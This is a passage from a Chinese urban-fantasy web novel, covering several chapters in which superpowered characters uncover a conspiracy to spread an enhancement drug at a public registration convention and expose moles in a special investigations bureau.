林悦突然踹翻了办公室的椅子,金属腿在地上划出刺耳的声响:“特调科的监控肯定拍到了狙击手的位置!我现在就回去查……”
“别去。”费勇站起身,影子在他身后凝聚成盾牌的形状,“刚才的**是特
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制的***,射程至少一公里。能在那种距离精准命中移动目标,只有裁决会的‘鹰眼’小队能做到。”
他指了指窗外的云层:“他们现在肯定已经撤离了,特调科的监控就算拍到了,也会被内鬼删掉。我们得换个方式查。”
苏清月突然蹲下身,从年轻人的口袋里掏出个皱巴巴的药瓶。瓶子是紫色的,和年轻人描述的一样,瓶底果然有蛇缠手的符号。她小心地拧开瓶盖,里面残留着几滴深紫色的液体,散发着淡淡的甜腥味。
“是生命能量的味道,但被扭曲了。”苏清月的绿藤轻轻碰了下液体,藤蔓尖立刻变黑了,“和影石阵的雾气同源,但更……污浊。”
费勇的影子突然缠上药瓶。他闭上眼睛,影界领域顺着瓶壁上的指纹蔓延,试图读取残留的信息。过了片刻,他猛地睁开眼,眼底的金色纹路闪烁不定:“我看到个地址……城西,废弃化工厂。”
林悦的手机突然震动起来。她看了眼屏幕,脸色变得难看:“特调科的消息,说我们‘处理不当导致失控者死亡’,让我们立刻回去接受调查。”
“意料之中。”费勇把药瓶塞进苏清月的医疗箱,“清月,你带样本回基地分析,注意安全,用老鬼留下的加密线路联系。”
他转向林悦,影子在两人之间织成道黑色的屏障,隔绝了周围的信号:“你回去应付特调科,假装妥协。我去化工厂看看,说不定能找到更多强化剂的线索。”
林悦皱眉:“你一个人去太危险了。裁决会既然敢留下地址,肯定设了陷阱。”
“陷阱里往往藏着糖果,不是吗?”费勇突然笑了笑,伸手揉了揉她的头发,动作自然得像做过千百遍,“别忘了,我还有影子帮忙。”
林悦的耳朵瞬间红了,刚想反驳,就被费勇推了一把:“快走,再晚就来不及了。对了——”他指了指她战术背心上的徽章,“把这个摘了,免得被内鬼认出来。”
看着林悦的身影消失在楼梯口,苏清月突然轻轻碰了碰费勇的胳膊:“你的影子……刚才在模仿风行者的速度。”
费勇低头看了眼自己的手。刚才情急之下,他确实触碰了林悦的影子,复制了她雷电加速的能力,虽然现在已经失效,但残留的能量让他的指尖还有点发麻。
“情况特殊。”他含糊地解释了一句,影子突然指向远处的天际线,“我该走了,你也小心。”
苏清月看着他的影子融入街角的阴影,突然想起刚才影茧里年轻人最后的话。她低头看了眼医疗箱里的紫色药瓶,绿藤轻轻缠绕上瓶身,像是在做某种无声的承诺。
远处的警笛声越来越近,特调科的防暴车正在往这边赶。苏清月背起医疗箱,转身钻进消防通道,绿藤在她身后悄悄抹去了所有痕迹。
只有那朵被镇静花雾气浸润过的影子,还留在写字楼的地板上,像块不会褪色的墨渍,等待着下一次苏醒。
第133章:特调科的压力
特调科会议室的空调坏了三天,冷气时断时续,像极了林悦此刻的心情。她站在长桌末尾,战术靴跟在地板上碾出半寸深的划痕,靴底还沾着中央大街的藤蔓汁液,在光洁的地砖上拖出条墨绿色的尾巴。
“林顾问,这是第七份市民**书。”坐在主位的科长推过来个文件夹,金属夹在日光灯下泛着冷光,“上面有三千多个签名,要求立刻缉拿破晓组织的费勇。”
林悦没接。她的手指在战术背心上摩挲着,那里原本别着特调科徽章的位置,现在只剩个浅浅的印痕——是刚才在路上用电流灼掉的。空气中弥漫着臭氧的味道,那是她指尖无意识释放的电流烤焦了文件夹边缘。
“缉拿?”她嗤笑一声,电流顺着长桌蔓延,把科长的钢笔弹到半空,“张科,你监控没看全?还是裁决会给的剧本没背熟?”
会议室里的气氛瞬间凝固。副科长干咳两声,试图打圆场:“小林啊,现在**压力太大了。新闻里那段视频……”
“那段被剪辑过的视频?”林悦猛地拍向桌面,蓝白色的电流在桌面上炸开,把**书的纸页掀得漫天飞舞,“监控清清楚楚拍到裁决会的狙击手!拍到那个植物系异能者脖子上的审判标记!怎么到你们嘴里,就成了‘破晓组织内讧’?”
张科长慢条斯理地捡起飘落的纸页,他的指甲修剪得整整齐齐,捏着纸角的样子像在拈起什么脏东西:“监控数据损坏了,林顾问。技术科说,是被强电流干扰导致的——巧的是,你的异能正好能做到这点。”
林悦的瞳孔骤然收缩。她突然想起刚才在写字楼十三楼,为了干扰精神丝线,她确实释放过高强度电流。当时只想着救人,竟忘了特调科的监控系统最忌讳雷电能量——这分明是早就挖好的陷阱。
“你什么意思?”她的声音发紧,电流在喉咙里滋滋作响,“你怀疑是我动了手脚?”
“我只是陈述事实。”张科长把纸页重新夹好,推到她面前,“还有这个,48小时通牒。上面盖了总局的章,要求你配合行动,将费勇等人诱至指定地点。”
“诱捕?”林悦抓起通牒,纸张在她掌心瞬间变得焦黑,“你们明知道裁决会在栽赃!明知道费勇他们在救人!”
“救人?”张科长突然笑了,那笑容像冻在冰里的石子,“十年前,你父亲也是这么说的。他说要保护那些‘失控的异能者’,结果呢?”
林悦的呼吸猛地顿住。她的指甲深深掐进掌心,血珠顺着指缝滴在通牒上,洇开个暗红色的圆点。十年前的画面突然涌上来——父亲最后一次出门时,也是穿着这身藏蓝色的警服,口袋里揣着她画的全家福。
“我父亲是英雄。”她的声音在发抖,电流不受控制地在发梢跳跃,把额前的碎发烫成卷曲的弧度,“他不是因为护着异能者死的,是被裁决会的埋伏……”
“民众不管这些。”张科长打断她,语气平淡得像在念天气预报,“他们只记得,当年那场异能者**,**二十七个人。而你父亲,是第一个为异能者说话的警察——最后尸骨无存。”
这句话像把冰锥,狠狠扎进林悦的心脏。她猛地想起小时候,在父亲的葬礼上,那些举着“异能者滚出城市”标语的人,扔过来的石头砸在她脚边,溅起的尘土迷了她的眼。
“所以你们就选择和稀泥?”她突然抓起通牒,撕成两半,又撕成四半,直到碎纸像雪片般落在地上,“就因为怕重蹈覆辙,就要把真正救人的人推出去当替罪羊?”
张科长的脸色终于沉了下来:“林悦,注意你的态度!别忘了,你父亲的抚恤金、你胸前的警号,都是特调科给的——”
“我父亲的荣誉不是你们能拿来交易的!”林悦的声音陡然拔高,电流在她周身织成道蓝色的屏障,把办公椅都震得往后滑了半米,“这通牒,我不接。要抓费勇,先从我尸体上踏过去!”
说完,她转身就走,战术靴在碎纸上碾出
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清脆的响声。走到门口时,她突然停下,没回头:“对了张科,建议你查查技术科的老李。他上周买了辆新车,全款——以他的工资,得不吃不喝攒三十年。”
会议室的门在她身后关上,留下满室臭氧的味道。林悦靠在走廊的墙壁上,掏出手机——屏幕上有三条未读消息,都是费勇发来的。
第一条:“特调科有内鬼,小心。”
第二条:“我在你办公室放了份礼物。”
第三条:“查强化剂的来源,我去会会那位‘内鬼’。”
林悦的嘴角突然勾起抹笑。她推开自己办公室的门,果然在桌角看到个保温桶,里面是还冒着热气的甜豆浆——费勇知道她每次动怒后,总会犯低血糖。
她拧开保温桶的盖子,热气氤氲了眼镜片。镜片后面,她的眼眶有点发烫,但指尖的电流却稳了下来,像找到了可以燎原的星火。
走廊尽头的安全通道里,个穿清洁工制服的人影正往楼下走。他的影子在楼梯扶手上轻轻晃了晃,化作只黑色的蝙蝠,悄无声息地飞进技术科的窗户。
费勇的声音从蝙蝠嘴里传出,带着点笑意:“老李是吧?听说你新车的脚垫,用的是裁决会特制的异能抑制材料——挺懂行啊。”
技术科里传来声短促的尖叫,随后归于沉寂。林悦喝着甜豆浆,看着手机屏幕上费勇发来的新消息:“搞定一个,还有大鱼。”
她回了个闪电的表情,然后点开通讯录,找到“老鬼”的名字。拨号的时候,她的手指在屏幕上顿了顿,最终还是按下了通话键。
“帮我个忙。”她对着听筒说,声音里带着豆浆的甜味,却比任何时候都坚定,“查一下张科长最近的资金往来,尤其是和城西化工厂有关的。”
挂了电话,林悦将空保温桶扔进垃圾桶,转身走向武器库。阳光透过走廊的窗户照进来,在她身后拉出长长的影子,影子的指尖缠着缕微弱的电流,像在编织一张捕捉真相的网。
第134章:夏艳玲的情绪追踪
破晓基地的实验室里飘着股奇怪的味道。**的刺鼻味混着草木清香,在不锈钢操作台上凝结成细小的水珠,顺着试管架的边缘滴滴答答往下掉,像谁在偷偷哭。
苏清月捏着镊子的手悬在半空,指尖泛白。培养皿里盛着半滴深紫色液体,正是从那个被灭口的植物系异能者血液里提炼出的强化剂残留。显微镜下,那些扭曲的分子链正像活物般蠕动,碰到载玻片边缘的瞬间,竟腐蚀出密密麻麻的小孔。
“比古籍里记载的狂化散活性强三倍。”她轻声说,绿藤从白大褂袖口钻出来,小心翼翼地缠上培养皿——藤蔓尖刚触到液体,就以肉眼可见的速度枯萎,“里面加了催化成分,能强行激活普通人的潜能,代价是……”
“是燃烧生命。”夏艳玲突然开口。她蜷在实验室角落的转椅上,怀里紧紧抱着那个洗得发白的布娃娃,娃娃的耳朵上还别着颗褪色的纽扣。刚才苏清月说话时,她突然打了个寒颤,像是被什么东西咬了口。
苏清月回头时,正看见女孩把脸埋进娃娃的绒毛里,肩膀微微发抖。夏艳玲的异能是情绪具象化,但很少主动对陌生事物产生反应,除非这东西携带的情绪能量足够强烈——就像现在。
“艳玲?”苏清月放轻脚步走过去,绿藤在掌心凝结成朵白色小花,“是不是觉得不舒服?”
夏艳玲摇摇头,忽然伸出手指,指尖凝着颗米粒大的冰粒。那是她恐惧情绪的具象化,以前只有在遇到裁决会执法者时才会出现。此刻冰粒在她指尖转着圈,发出细碎的噼啪声,像要炸开似的。
“它臭。”女孩的声音闷闷的,透过娃娃的绒毛传出来,带着点含混的鼻音,“像……像雨天里烂掉的老鼠,还裹着铁锈味。”
苏清月的心猛地一跳。她知道夏艳玲描述的是什么——那是极端恐惧混合着血腥味的情绪。十年前青禾堂被灭门时,她在爷爷的书房里闻到过同样的味道,当时地上的血还没干,书架上的古籍浸在血里,字里行间都透着这种绝望。
“你能感觉到……是什么留下的这种情绪吗?”苏清月蹲下身,视线与女孩平齐。她注意到夏艳玲的睫毛上沾着细小的冰晶,那是情绪能量过载的表现,“是那个被控制的异能者?还是……”
“是瓶子。”夏艳玲突然抬起头,眼睛亮得吓人。她怀里的布娃娃不知何时转了个方向,原本缝着眼睛的地方正对着操作台,“装这个的瓶子,有很多人抓着它哭,说想回家。”
话音未落,她指尖的冰粒突然飞出去,精准地落在培养皿里。紫色液体像被泼了沸水似的炸开,在桌面上形成层薄薄的冰雾。奇怪的是,那些腐蚀小孔在冰雾中竟开始发光,组成串歪歪扭扭的字符——是地址。
“城西……废弃化工厂?”苏清月看着冰雾里显形的字迹,瞳孔骤然收缩。这个地址费勇提过,是他从药瓶残留的影子里读取到的信息,没想到夏艳玲的情绪追踪也指向这里。
夏艳玲突然从转椅上跳下来,抱着布娃娃跑到操作台边。她伸出小手在冰雾上轻轻拂过,那些发光的字符像是活了过来,在她掌心组成幅简易地图——有三个烟囱的厂房,旁边画着个歪歪扭扭的骷髅头。
“这里,”女孩的手指重重戳在骷髅头位置,冰雾突然剧烈波动,“很多人被关在这里,他们的影子在发抖。”
苏清月立刻打开电脑,调出城西化工厂的卫星图。当屏幕上出现三个高耸的烟囱时,她的呼吸顿住了——地图上化工厂的布局,和十年前青禾堂灭门案现场勘查图几乎重合:东侧的仓库,西侧的废水处理池,甚至连中央那栋三层小楼的位置都分毫不差。
“是同一个人设计的。”苏清月的声音有些发颤,绿藤不受控制地从指尖涌出,在桌面上织成张细密的网,“裁决会的基地布局,沿用了当年袭击青禾堂的方案。”
夏艳玲突然“呀”了一声。她怀里的布娃娃不知何时掉在了地上,娃娃的肚子上沾了滴刚才溅出的紫色液体。诡异的是,液体没像腐蚀载玻片那样破坏布料,反而像墨滴进水里似的晕开,在布面上形成个模糊的符号——像株被蛇缠绕的藤蔓。
“这个!”夏艳玲捡起娃娃,指着那个符号,眼睛瞪得圆圆的,“妈妈缝衣服时,针脚也是这样的!”
苏清月的瞳孔骤然收缩。那个符号是青禾堂的族徽,只有核心成员
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才知道的标记。她小时候在爷爷的药箱上见过无数次,后来族徽随着灭门案一起消失,连古籍里都只画了个模糊的轮廓——夏艳玲的母亲怎么会知道?
就在这时,实验室的门被推开。费勇探进头来,脸上还沾着点灰尘,大概是刚从特调科回来。他看见操作台上的冰雾和发光字符,挑了挑眉:“看来我们找到同一个地方了。”
“费勇哥!”夏艳玲立刻跑过去,把布娃娃举到他面前,“你看这个!像不像清月姐姐书里的画?”
费勇的目光落在娃娃肚子上的符号时,脸色微变。他的影子在地面上轻轻晃了晃,浮现出个一模一样的符号——那是他之前在药瓶底拓印下来的,裁决会的生命提取标记。但此刻被紫色液体晕开后,标记边缘多了圈藤蔓纹路,赫然是青禾堂的族徽。
“两个标记叠在一起了。”苏清月走过来,声音里带着难以置信的颤抖,“裁决会的人和青禾堂的叛徒……早就勾结在一起了。”
夏艳玲突然打了个哈欠,眼睛开始发困。刚才情绪能量爆发消耗了太多体力,此刻放松下来,困意就像潮水般涌上来。她往费勇身边靠了靠,布娃娃滑到地上,露出背后用红线绣的小字——那是夏艳玲母亲留下的,以前谁也看不懂,此刻在紫色液体的浸染下,竟显出三个字:
“救我们。”
费勇弯腰捡起娃娃时,指尖的影子突然顿了顿。他看向苏清月,眼神变得异常凝重:“化工厂不能等了。现在就联系林悦,我们……”
“等等!”苏清月突然指向电脑屏幕。卫星图上,化工厂的位置突然出现个红色光点,正以极快的速度移动——那是破晓基地特制的信号器,只有核心成员才会携带。
“是风行者?”费勇皱眉。风行者负责外围侦查,按计划此刻应该在监控特调科的动静,怎么会突然出现在化工厂?
红色光点在屏幕上闪烁了三下,突然熄灭。那是紧急信号,意味着携带者已经失联。
夏艳玲不知何时睡着了,头靠在费勇的胳膊上,睫毛上的冰晶还没化。她怀里的布娃娃肚子上,那个融合了两个标记的符号,正隐隐发着光,像滴凝固的血。
第135章:影傀儡的妙用
特调科档案室的紫外线灯滋滋作响,把费勇的影子钉在斑驳的墙面上。他屏住呼吸,看着自己的影子顺着墙角的裂缝往通风管道里钻——那里藏着档案室的主服务器,也是内鬼与裁决会传递信息的秘密渠道。
半小时前,他刚把睡着的夏艳玲交给苏清月,转身就用影遁潜入了特调科。风行者的信号突然中断让他有种不祥的预感,化工厂的线索不能断,而特调科的内鬼无疑是最关键的突破口。
“咔嗒。”通风管的栅栏被影子拧成麻花状。费勇缩着身子钻进去时,衣摆不小心蹭到管壁的铁锈,扬起的灰尘让他打了个喷嚏——幸好影界领域及时展开,将声音牢牢锁在半米范围内。
服务器机房比想象中热闹。三个穿黑色制服的执法者正围着主机,其中一个正是技术科的老李,他手腕上的金表在应急灯下闪得刺眼——费勇记得林悦说过,这表是裁决会特制的通讯器,表盖内侧刻着蛇缠手的标记。
“……登记大会的安保方案已经到手。”老李的声音压得很低,手指在键盘上敲出急促的哒哒声,“到时候把强化剂混进消防喷淋系统,只要有人触发警报,整栋会展中心都会被雾化药剂覆盖。”
另一个执法者突然冷笑,这人左脸有道刀疤,说话时嘴角歪向一边:“张科倒是会享福,这种脏活全扔给我们。等事成之后,判官许诺的‘高阶异能’可别忘了分我一份。”
“急什么。”第三人把玩着腰间的**,金属碰撞声在寂静的机房里格外刺耳,“等‘母体’吸收完701研究所的样本,别说高阶异能,就算想当新的审判长也不是不可能——”
费勇的影子在通风管里猛地绷紧。701研究所、母体、登记大会……这些词像拼图般在他脑海里组合,逐渐显露出裁决会的真正目的:他们要在公开场合制造大规模异能者失控,然后用所谓的“母体”吸收这些失控者的能量。
就在这时,刀疤脸突然抬头看向通风管:“谁在上面?”
费勇的心瞬间提到嗓子眼。他来不及细想,指尖的影子突然暴涨,顺着通风管的缝隙探下去,精准地触碰到刀疤脸的影子——复制异能的眩晕感立刻袭来,像被人用闷棍敲在后脑勺。
“强化力量?”费勇咬着牙稳住身形。这异能不算高阶,但刚好能解释刀疤脸那身虬结的肌肉。他强忍着虚弱感,操控影子在地面织成个与刀疤脸一模一样的傀儡,连左脸的刀疤都用暗影能量勾勒得栩栩如生。
“是我,刚去换了班。”影傀儡张嘴说话时,费勇特意模仿了刀疤脸那股子歪嘴的腔调。他躲在通风管里,透过栅栏的缝隙操控傀儡的动作,连挠鼻子的小动作都模仿得分毫不差。
老李狐疑地打量着影傀儡:“你的巡逻时间不是还有半小时?”
“张科临时调的。”影傀儡耸耸肩,故意把腰上的警棍拍得啪啪响——这是刚才费勇透过影子观察到的习惯动作,“他让我来看看进度,还说……”影傀儡突然压低声音,“那个‘母体容器’已经运到化工厂了?”
这话是费勇赌的。既然他们提到了母体,必然与化工厂有关。果然,老李的眼神立刻放松下来,甚至带着点邀功的得意:“昨晚就到了,701研究所的第十七号样本,据说与‘情绪核心’有共鸣——”
“闭嘴!”刀疤脸突然打断他,脸色阴沉得能滴出水,“这种事也是你能说的?”
影傀儡适时地冷笑一声,转身走向服务器:“张科让我拷贝一份安保路线图,快点弄好,我还得去盯会场的喷淋系统。”这话半真半假,既符合执法者的身份,又能顺理成章地接触主机。
老李嘟囔着点开加密文件夹,屏幕上跳出的文件列表让通风管里的费勇瞳孔骤缩——除了登记大会的平面图,还有个标注着“青禾堂”的文件夹,修改日期正是十年前青禾堂灭门案的第二天。
影傀儡的手指在键盘上虚按,真正的操作全靠通风管里的费勇用影子完成。他的额头渗出冷汗,复制异能的反噬开始发作,视线里的一切都在晃动,像隔着层水波。
“好了没有?”刀疤脸不耐烦地踹了踹椅子腿,“再磨蹭下去,监控室该起疑了。”
“快了快了。”影傀儡头也不回,指尖的影子却在飞快地拷贝数据。就在进度条走到99%时,老李突然指着影傀儡的脚:“你的靴子……怎么沾着城西的红泥?”<
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br>费勇的心猛地一沉。他忘了,刚才潜入时曾踩过化工厂方向的施工路段,而真正的刀疤脸一整天都在特调科内部巡逻——这个细节疏漏几乎致命。
影傀儡还没来得及反应,刀疤脸已经扑了上来,拳头带着呼啸的风声砸向傀儡的侧脸:“你不是他!真正的疤哥昨天崴了脚,走路根本不会这么稳!”
费勇在通风管里猛地侧身,影傀儡瞬间解体成无数黑色丝线,避开拳头的同时缠向两人的脚踝。老李惊叫着摔倒,脑袋磕在主机上,屏幕瞬间爆出刺眼的火花。
“警报!警报!”刺耳的警笛声突然响起。费勇知道不能恋战,抓起拷贝好数据的微型U盘,影遁发动的瞬间,他看到刀疤脸正对着通讯器嘶吼:“档案室遇袭!目标可能是破晓的人!请求支援!”
逃出特调科时,天边已经泛起鱼肚白。费勇靠在街角的垃圾桶上喘着粗气,复制异能的反噬让他浑身发软,像被抽走了骨头。他点开U盘里的文件,当看到“母体注射计划:登记大会当天,以701-17号样本为引,激活所有强化剂使用者体内的病毒基因”时,胃里一阵翻江倒海。
原来所谓的母体,根本不是某个容器,而是能激活所有强化剂的“钥匙”。裁决会要的不是制造几个失控者,而是一场席卷全城的异能灾难。
手机突然震动,是林悦发来的消息:“查到张科三个月前向化工厂转了三笔巨款,收款人信息被加密了,但转账备注写着‘实验体养护费’。”
费勇的手指在屏幕上敲出回复,影子在他脚边轻轻晃动,凝聚成刀疤脸的轮廓——刚才接触时,他不仅复制了异能,还顺带读取了对方影子里的零碎记忆。
“告诉清月,”消息发送的瞬间,费勇的影子突然化作只黑色的渡鸦,振翅飞向城西,“701研究所的样本,是个和艳玲年纪相仿的女孩。”
渡鸦消失在晨雾中的同时,特调科档案室里,刀疤脸正对着满地的黑色丝线怒吼:“把监控调出来!我要知道这混蛋是怎么混进来的!”
而他们身后的主机屏幕上,一份被遗漏的加密邮件正闪烁着红光,发件人栏赫然写着:“青禾堂三长老”。
第136章:苏清月的青禾堂线索
破晓基地的储藏室里,樟木书架散发着陈年的香气。苏清月跪在地板上,指尖抚过最底层那排锁着的古籍——这些是青禾堂仅存的遗物,十年前灭门案那天,她被老管家塞进地窖时,怀里只抱出了这三册。
“哗啦——”最厚的那本《草木精要》被翻开,泛黄的纸页间掉出个油纸包。拆开时,一股熟悉的腥甜气味飘出来,和培养皿里的强化剂味道如出一辙,只是更淡些,像被岁月稀释过。
油纸包里是半块暗褐色的晶体,表面布满蛛网状的裂纹。苏清月用镊子夹起晶体凑近台灯,突然发现裂纹里嵌着细碎的金色光点——那是生命能量残留的痕迹,和她绿藤里的能量同源,却带着种病态的亢奋。
“果然是狂化散。”她轻声说,指尖的绿藤探过去,小心翼翼地触碰晶体。就在两者接触的瞬间,古籍里夹着的一张泛黄的便签突然飘落,上面是爷爷苍劲的字迹:“此物以生命病毒为引,掺三百年紫河车蕊,饮之能骤增异能,然七日必爆体而亡——青禾堂第三十七代禁令。”
苏清月的呼吸顿住了。三百年紫河车蕊,是青禾堂独有的药材,只有堂内核心弟子才知道cultivation方法。裁决会的强化剂里既然有这种成分,只能说明当年的叛徒不仅泄露了配方,连药圃里的珍稀药材都一并盗走了。
“清月姐姐,你在找什么?”夏艳玲抱着布娃娃站在门口,睡眼惺忪的样子,睫毛上还沾着点没睡醒的水汽。刚才费勇发来消息说要去化工厂探查,让她过来看看苏清月这边有没有新发现。
“没什么。”苏清月赶紧把晶体收进密封袋,“只是找到点爷爷留下的笔记。”她不想让小女孩接触这些阴暗的东西,尤其是狂化散这种沾满鲜血的禁药。
可夏艳玲已经注意到了那个密封袋。她怀里的布娃娃突然挣扎了一下,原本耷拉着的脑袋猛地抬起,纽扣眼睛正对着密封袋的方向。女孩的脸色瞬间变得苍白,抱着娃娃往后退了两步。
“它在哭。”夏艳玲的声音发颤,指尖凝结出细小的冰粒,“布娃娃说,这东西和上次那个瓶子是一伙的,都带着……带着爷爷的味道。”
苏清月的心猛地一跳。爷爷的味道?她赶紧拿起密封袋,绿藤缠绕其上,仔细感知里面的能量波动——果然,在狂化散的暴戾能量深处,藏着一丝极淡的、属于青禾堂的生命气息,像被强行烙印上去的印记。
“是提纯手法。”她恍然大悟,“叛徒用了爷爷独创的低温提纯法,所以才会留下这种气息。”这种手法记录在《草木精要》的最后一页,当年她跟着爷爷学了整整三年才掌握诀窍。
夏艳玲突然把布娃娃往前递了递。娃娃的肚子上,昨天被强化剂浸染出的符号还在隐隐发光,此刻接触到狂化散的能量,符号周围竟渗出黑色的液体,像墨汁在宣纸上晕开。
“它在咬娃娃。”女孩突然喊道,眼泪在眼眶里打转,“快拿走!布娃娃说它好疼!”
苏清月赶紧把密封袋移开,可那些黑色液体已经渗入布娃娃的绒毛,顺着缝合线爬到娃娃的胸口。诡异的是,液体流过的地方,原本模糊的符号突然变得清晰,竟显出“青禾堂”三个篆字,笔画间还缠绕着细小的藤蔓图案——那是青禾堂核心弟子的标记。
“这是……”苏清月的瞳孔骤缩,她认得这个标记,爷爷的药箱上就刻着一模一样的图案,“艳玲,你这布娃娃是哪里来的?”
夏艳玲摇摇头,抱着娃娃的手臂收得更紧了:“是妈妈留给我的,她说只要抱着娃娃,就能找到回家的路。”女孩突然抬起头,眼睛亮得惊人,“妈妈说过,她以前也有个这样的娃娃,上面绣着会治病的草。”
苏清月的心跳得像擂鼓。会治病的草,无疑就是青禾堂的象征。夏艳玲的母亲不仅知道青禾堂的标记,还可能曾是这里的弟子。十年前的灭门案,难道和这个神秘的女人也有关系?
就在这时,布娃娃胸口的“青禾堂”三个字突然亮起,黑色液体顺着笔画流动,在桌面上形成一个简易的药圃图案,其中一个角落被红圈标注着——那是存放紫河车蕊的地方。
“是三长老。”苏清月的声音冰冷,指尖的绿藤因为愤怒而微微颤抖。三长老是爷爷最信任的师弟,负责掌管药圃,当年灭门案后,也是他第一个站出来说爷爷私藏禁药,才引
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来裁决会的“清理”。
夏艳玲突然指着布娃娃的手心。那里不知何时多了个小小的牙印,像是被什么东西咬过。黑色液体正顺着牙印往里渗,娃娃的绒毛开始微微发光,透出里面藏着的一个细小的硬物轮廓。
苏清月小心翼翼地拆开娃娃的缝合线,从里面掉出个米粒大的金属片,上面刻着串数字:701-03。
“701研究所的编号。”苏清月瞬间明白了,“你妈妈不仅是青禾堂弟子,还曾是701研究所的实验体。”这个编号和费勇提到的701-17号样本格式完全一致。
夏艳玲突然抱着娃娃哭了起来,金色的光粒从她眼角滑落,落在金属片上。那些光粒接触到金属片的瞬间,突然化作一段模糊的影像:一个穿着白大褂的女人正在药圃里采摘紫河车蕊,她的胸口别着个和布娃娃上一样的标记,身后站着个戴眼镜的中年男人,正是年轻时的三长老。
“师姐,判官那边催得紧,这最后一批紫河车蕊必须今晚送过去。”三长老的声音带着谄媚的笑意,“等实验成功,你我都是裁决会的功臣,还在乎什么青禾堂的规矩?”
女人的声音带着决绝:“我加入青禾堂是为了救人,不是帮你们制造怪物。这东西我绝不会给你。”
影像到这里突然中断,金色光粒消散在空气中。夏艳玲已经哭得抽噎起来,布娃娃的绒毛被泪水打湿,显露出更多隐藏的针脚,拼凑出一个模糊的地址——青禾堂后山的禁地。
苏清月握紧了那个金属片,边缘的棱角硌得掌心生疼。她终于明白老鬼为什么让他们留意青禾堂了,这里不仅藏着叛徒的线索,还可能沉睡着夏艳玲母亲留下的真相。
“艳玲,别哭了。”她轻轻擦掉女孩的眼泪,绿藤在掌心凝结成一朵白色的小花,“我们去找真相,不仅为了爷爷,也为了你的妈妈。”
夏艳玲点点头,把脸埋进布娃娃的绒毛里。就在这时,布娃娃的眼睛突然闪了一下,纽扣后面似乎有什么东西在蠕动。苏清月凑近一看,发现纽扣内侧刻着个极小的“三”字——是三长老的标记。
原来这个布娃娃,从一开始就是个诱饵。
第137章:登记大会的暗流
会展中心的旋转门吞吐着人流,费勇扯了扯不太合身的记者证,把帽檐压得更低。证上的照片是用影傀儡临时伪造的,嘴角那道疤歪歪扭扭,倒和他此刻紧绷的嘴角莫名契合。
“记者同志,这边请。”穿西装的工作人员引着他往内场走,胸牌上“安保部”三个字在灯光下闪得刺眼。费勇眼角的余光瞥见对方腰间鼓囊囊的,影子在地面摊开成不规则的形状——是裁决会执法者常用的异能抑制器。
“听说这次大会来了不少大人物?”费勇故意把声音压得沙哑,像常年跑现场的记者那样带着点油滑。他的影子顺着工作人员的皮鞋往上爬,悄悄触碰到对方的影子——强化力量异能,和特调科那个刀疤脸如出一辙。
工作人员皮笑肉不笑地扯了扯领带:“不该问的别问。”领带夹反射的光晃了费勇一眼,那上面刻着个微型的蛇形标记,和老李手腕上的金表图案一模一样。
费勇刚要再套话,耳麦里突然传来林悦的声音,带着电流的滋滋声:“西北通风口有异常,能量读数和狂化散一致。”
他立刻转身假装拍天花板的吊灯,影子趁机顺着墙角的踢脚线滑向西北方向。会展中心的穹顶很高,镂空的雕花装饰里藏着不少摄像头,费勇操控影子在摄像头前晃过,制造出飞虫掠过的假象。
“找到了。”他低声说。通风口的栅栏上沾着层淡紫色粉末,影子触碰的瞬间传来灼烧般的刺痛。费勇凝聚影刃,悄无声息地切开栅栏,一股甜腻的气味涌出来,像腐烂的花蜜。
“强化剂加了缓释成分。”苏清月的声音紧随其后,带着草木的清香,“我在二楼东侧,已经让绿藤顺着通风管爬过去了,能暂时中和掉一部分。”
费勇抬头,果然看到二楼看台的角落里,一盆观赏性绿植的叶子正不自然地抖动,几片新叶顺着墙壁的缝隙钻向通风口。苏清月今天穿了条米白色连衣裙,混在捧着应援牌的民众里,像株安静的铃兰,谁也想不到她指尖正凝结着足以净化全城的药剂。
“艳玲呢?”费勇问。
“在我旁边吃棉花糖。”苏清月轻笑一声,“别担心,她的布娃娃正盯着穿黑西装的人——凡是裁决会的人靠近,娃娃的纽扣眼睛就会发烫。”
费勇忍不住勾了勾嘴角。他想象着夏艳玲抱着比脸还大的棉花糖,怀里的布娃娃却像个尽职的警报器,纽扣眼睛忽明忽暗的样子,紧绷的神经稍稍放松。
突然,人群一阵骚动。林悦穿着特调科的制服,正被一群记者围在中央,她皱着眉举起扩音喇叭:“本次登记大会严格遵循异能者管理条例,任何违规行为将依法处置——”
话音未落,她手腕上的特制手环突然亮起红光。那是费勇帮她改装的,能通过电流感知裁决会的能量波动。林悦的目光精准地扫过三楼的VIP包厢,那里的窗帘动了一下,露出半截黑色的衣袖。
“强化剂通过空气传播,”林悦对着麦克风说话,声音却通过加密频道传到每个人耳麦里,“清月,准备净化药剂。费勇,盯紧三楼那几个戴金丝眼镜的,他们的影子在往通风管里钻。”
费勇立刻抬头。三楼VIP包厢里果然坐着三个男人,都戴着同款金丝眼镜,手指无意识地敲着桌面,节奏完全一致。他们的影子透过包厢地板的缝隙伸出来,像黑色的蛇,正往通风口的方向蠕动。
“影傀儡已经跟上了。”费勇低声说。他操控着一个服务生模样的影傀儡,端着托盘走向三楼。傀儡的步伐有点僵硬,引来保洁阿姨的白眼:“小伙子走路看着点!”
影傀儡没理会,径直走到包厢门口。费勇通过傀儡的“眼睛”看到,其中一个男人正对着微型耳机说话:“母体已经就位,等第一声尖叫响起就注入激活剂。”
另一个人突然笑了,指尖划过桌面的玻璃杯:“三长老说,这次要让青禾堂的余孽亲眼看看,他们守护的普通人是怎么变成怪物的。”
费勇的影子猛地绷紧。青禾堂?三长老果然也掺和进来了。
就在这时,苏清月的声音突然拔高:“费勇!东北通风口的绿藤被切断了!”
费勇转头,看到东北方向的通风口冒出淡紫色的烟雾,像一朵诡异的花。人群中有人开始咳嗽,一个穿碎花裙的阿姨捂住胸口:“这什么味儿啊……”
“清月,净化药剂!”林悦的声音带着电流的爆鸣声。她突然拔枪朝天射击,**震得穹顶的吊灯哗哗作响:“都别动!有危险气体泄漏!”
这声枪响像点燃了引线。人群瞬间炸开,尖叫声此起彼伏。费勇趁机操控影傀儡撞开包厢门,三个男人正往通风管里倾倒深紫色液体,看到傀儡进来,立刻掏出腰间的抑制器。
“暴露了!”其中一人喊道,指尖凝聚起白色的能量球——是裁决会执法者的标志性攻击。
费勇果断解体影傀儡,同时操控地面的影子织成巨网,将三个男人牢牢困住。他刚要冲上去,耳麦里突然传
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来夏艳玲的尖叫:“清月姐姐!那个爷爷在发抖!”
费勇转头,看到苏清月身边,一个头发花白的老人正浑身抽搐,皮肤下像有无数条小蛇在蠕动,很快长出深绿色的藤蔓状纹路——和之前那个失控的植物系异能者一模一样。
